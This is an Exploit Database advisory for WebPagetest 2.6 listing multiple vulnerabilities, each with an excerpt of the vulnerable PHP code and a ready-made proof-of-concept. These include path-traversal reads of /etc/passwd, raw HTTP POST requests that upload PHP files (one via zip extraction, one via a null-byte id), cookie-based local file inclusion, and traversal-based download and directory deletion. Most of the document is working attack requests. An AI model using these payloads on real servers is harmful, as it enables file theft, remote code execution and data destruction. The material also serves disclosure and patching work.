webpagetest 2.6 - Multiple Vulnerabilities

EDB-ID:

19790

CVE:

EDB Verified: ✓

Author:

DUN

Type:

WEBAPPS

Exploit: / {}

Platform:

PHP

Date:

2012-07-13

Vulnerable App:

```
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[']     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-07-11                              ]
 ######################################################
 # [ WebPagetest <= 2.6 ]  Multiple Vulnerabilities  #
 ######################################################
 #
 # Script: "WebPagetest provides a system for testing the performance of
web pages from multiple
 #          locations/configurations and consuming the results in a
friendly web interface. "
 #
 # Vendor:   http://www.webpagetest.org/about
 # Download: http://code.google.com/p/webpagetest/downloads/list
 #
 ######################################################
 # [ Local File Disclosure #1 ]
 # PoC: http://localhost/gettext.php?
file=../../../../../../../../../../../etc/passwd
 #
 # File: ./webpagetest/gettext.php (lines: 2-13)
 #  ..cut..
   include('common.inc');                                          // 1
   $ok = false;

   if( isset($_GET['file']) && strlen($_GET['file']) )             // 2
   {
       $data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3
       if( $data !== false )
       {
           $ok = true;
           echo $data;                                             // 7
[LFD]
       }
   }
 #  ..cut..
 #
 # File: ./webpagetest/common.inc (lines: 493-510)
 #  ..cut..
   function gz_file_get_contents($file)
   {
       $data = null;

       $zip = gzopen("$file.gz", 'rb');
       if( $zip === false )
           $zip = gzopen($file, 'rb');                             // 4

       if( $zip !== false )
       {
           $data = gzread($zip, 10000000);                         // 5
           gzclose($zip);
       }
       else
           $data = false;

       return $data;                                               // 6
   }
 #  ..cut..
 #
 ######################################################
 # [ Local File Disclosure #2 ]
```

```
 # PoC: http://localhost/gettcpdump.php?
file=../../../../../../../../../../etc/passwd
 #
 # File: ./webpagetest/gettcpdump.php (lines: 2-13)
 #  ..cut..
   include('common.inc');                                          // 1
   $file = "$testPath/{$_GET['file']}";                            // 2

   if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) )
// 3
   {
       header ("Content-type: application/octet-stream");
       gz_readfile_chunked($file);                                 // 5
   }
 #  ..cut..
 #
 # File: ./webpagetest/common.inc (lines: 460-486, 586-590)
 #  ..cut..
   function gz_readfile_chunked($filename, $retbytes = TRUE)
   {
       $buffer = '';
       $cnt =0;
       $handle = gzopen("$filename.gz", 'rb');
       if ($handle === false)
           $handle = gzopen($filename, 'rb');                      // 6
       if ($handle === false)
           return false;
       while (!gzeof($handle))
       {
           $buffer = gzread($handle, 1024 * 1024);  // 1MB at a time // 7
           echo $buffer;                                           // 8
[LFD]
 #  ..cut..
       }
 #  ..cut..
       return $status;
   }
 #  ..cut..
   function gz_is_file($filename)
   {
       $ret = is_file("$filename.gz") || is_file($filename);       // 4
       return $ret;                                                //
   }
 #  ..cut..
 #
 ######################################################
 # [ Local File Disclosure #3 ]
 # PoC: http://localhost/getgzip.php?
file=../../../../../../../../../../etc/passwd
 # It's a very similar case, as above.
 #
 ######################################################
 # [ Arbitrary File Upload #1 ]
 # File: ./webpagetest/work/resultimage.php (lines: 18-48)
 #  ..cut..
   $locKey = $locations[$location]['key'];
   if( (!strlen($locKey) || !strcmp($key, $locKey)) ||
!strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") )  // 1 true
   {
       if( isset($_FILES['file']) )
// 2
       {
           $fileName = $_FILES['file']['name'];
// 3
           $path = './' . GetTestPath($id);
// $path = './results/'
 #  ..cut..
           logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}'
to '$path/$fileName'\n");
```

```
to "$path/$fileName" \n");
          move_uploaded_file($_FILES['file']['tmp_name'],
"$path/$fileName");                          // 4 [AFU]
       }
       else
          logMsg(" no uploaded file attached");
   }
 #  ..cut..
 # PoC: http://localhost/work/resultimage.php
   POST /work/resultimage.php HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: pl,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip, deflate
   Connection: keep-alive
   Cache-Control: max-age=0
   Content-Type: multipart/form-data; boundary=--------------------------
-31101243933548
   Content-Length: 209
   -----------------------------31101243933548
   Content-Disposition: form-data; name="file"; filename="info.php"
   Content-Type: text/x-php

   <?php phpinfo(); ?>

   -----------------------------31101243933548--
# Uploaded file will be here: http://localhost/results/info.php
#
######################################################
# [ Arbitrary File Upload #2 ]
# File: ./webpagetest/work/dopublish.php (lines: 2-31)
#  ..cut..
   require_once('../lib/pclzip.lib.php');                          // 1
   include '../common.inc';
   header('Content-type: text/plain');
   header("Cache-Control: no-cache, must-revalidate");
   header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
   set_time_limit(300);

   // make sure a file was uploaded
   if( isset($_FILES['file']) )                                    // 2
   {
       $fileName = $_FILES['file']['name'];                        // 3

       // create a new test id
       $today = new DateTime("now", new DateTimeZone('America/New_York'));
       $id = $today->format('ymd_') . md5(uniqid(rand(), true));       // 4

       $path = '../' . GetTestPath($id);                           // 5

       // create the folder for the test results
       if( !is_dir($path) )
           mkdir($path, 0777, true);

       // extract the zip file
       $archive = new PclZip($_FILES['file']['tmp_name']);             // 6
       $list = $archive->extract(PCLZIP_OPT_PATH, "$path/",
PCLZIP_OPT_REMOVE_ALL_PATH); // 7 [AFU]
       if( !$list )
           unset($id);

       echo $id;
   }
 #  ..cut..
 # In this case, we need to create the zip archive, which contains our php
file (info.php).
 # While uploading, archive will be automatically unzipped to the
appropriate folder.
```

```
 # PoC: http://localhost/work/dopublish.php
   POST /work/dopublish.php HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: pl,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip, deflate
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------
-4966737613931
   Content-Length: 214
   -----------------------------4966737613931
   Content-Disposition: form-data; name="file"; filename="info.zip"
   Content-Type: application/x-zip-compressed


   [zip file]

   -----------------------------4966737613931--
 # After file uploading, script prints some string. For example:
120711_718a3a42e314a0cb740ee66b7b92b9ac.
 # This means, uploaded and unzipped file is in folder
/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/
 # Uploaded file will be here:
http://localhost/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/info.php
 #
 ######################################################
 # [ Arbitrary File Upload #3 ] magic_quotes_gpc = Off;
 # File: ./webpagetest/work/workdone.php (lines: 12-45)
 #  ..cut..
   $id = $_REQUEST['id'];                                          // 1
 #  ..cut..
   if( $_REQUEST['video'] )                                        // 2
   {
       logMsg("Video file $id received from $location");

       $dir = './' . GetVideoPath($id);                            // 3
       if( isset($_FILES['file']) )                                // 4
       {
           $dest = $dir . '/video.mp4';                            // 5
$dest = ./results/video/../info.php%00/video.mp4
           move_uploaded_file($_FILES['file']['tmp_name'], $dest);    // 6
[AFU]
 #  ..cut..
       }
   }
 #  ..cut..
 # PoC: http://localhost/work/workdone.php?video=1&id=../info.php%00
   POST /work/workdone.php?video=1&id=../info.php%00 HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: pl,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip, deflate
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------
-187161971819895
   Content-Length: 211
   -----------------------------187161971819895
   Content-Disposition: form-data; name="file"; filename="info.php"
   Content-Type: text/x-php

   <?php phpinfo(); ?>

   -----------------------------187161971819895--
 # Uploaded file will be here: http://localhost/results/info.php
 #
 ######################################################
 # [ Local File Inclusion ] magic_quotes_gpc = Off;
```

```
 # File: ./webpagetest/about.php (line: 20)
 #  ..cut..
   include 'header.inc';                                          // 1
 #  ..cut..
 #
 # File: ./webpagetest/header.inc (lines: 43-47)
 #  ..cut..
            elseif(isset($_COOKIE["cfg"]))
                $testLoc = $_COOKIE["cfg"];                       // 2

            if( isset($testLoc) && strlen($testLoc) &&
is_file("./custom/$testLoc/headerAd.inc") ) // 3
                include("./custom/$testLoc/headerAd.inc");        // 4
[LFI]
 #  ..cut..
 #
 # PoC: http://localhost/about.php
   GET /about.php HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: pl,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip, deflate
   Connection: keep-alive
   Cookie: cfg=../../../../../../../../../etc/passwd%00
 #
 ######################################################
 # [ Arbitrary File Download #1 ] register_globals = On
 # PoC: http://localhost/download.php?
testPath=./relay/../../../../../../../../../etc/
 # If the "relay" directory exists, the script will compress to a zip
archive, all files in
 # a directory that is set in testPath variable. Thereafter, zip archive
will be sent to the browser.
 #
 ######################################################
 # [ Arbitrary File Download #2 ] magic_quotes_gpc = Off;
 # PoC: http://localhost/video/download.php?
id=../../../../../../../../../../etc/passwd%00
 #
 ######################################################
 # [ Arbitrary File Delete ] register_globals = On
 # PoC: http://localhost/delete.php?
testPath=./relay/../../../../../../../../../etc/
 # If the "relay" directory exists, then directory that is set in a
variable testPath will be deleted.
 #
 ### [ dun / 2012 ] ###################################################
```

Tags:

Advisory/Source: Link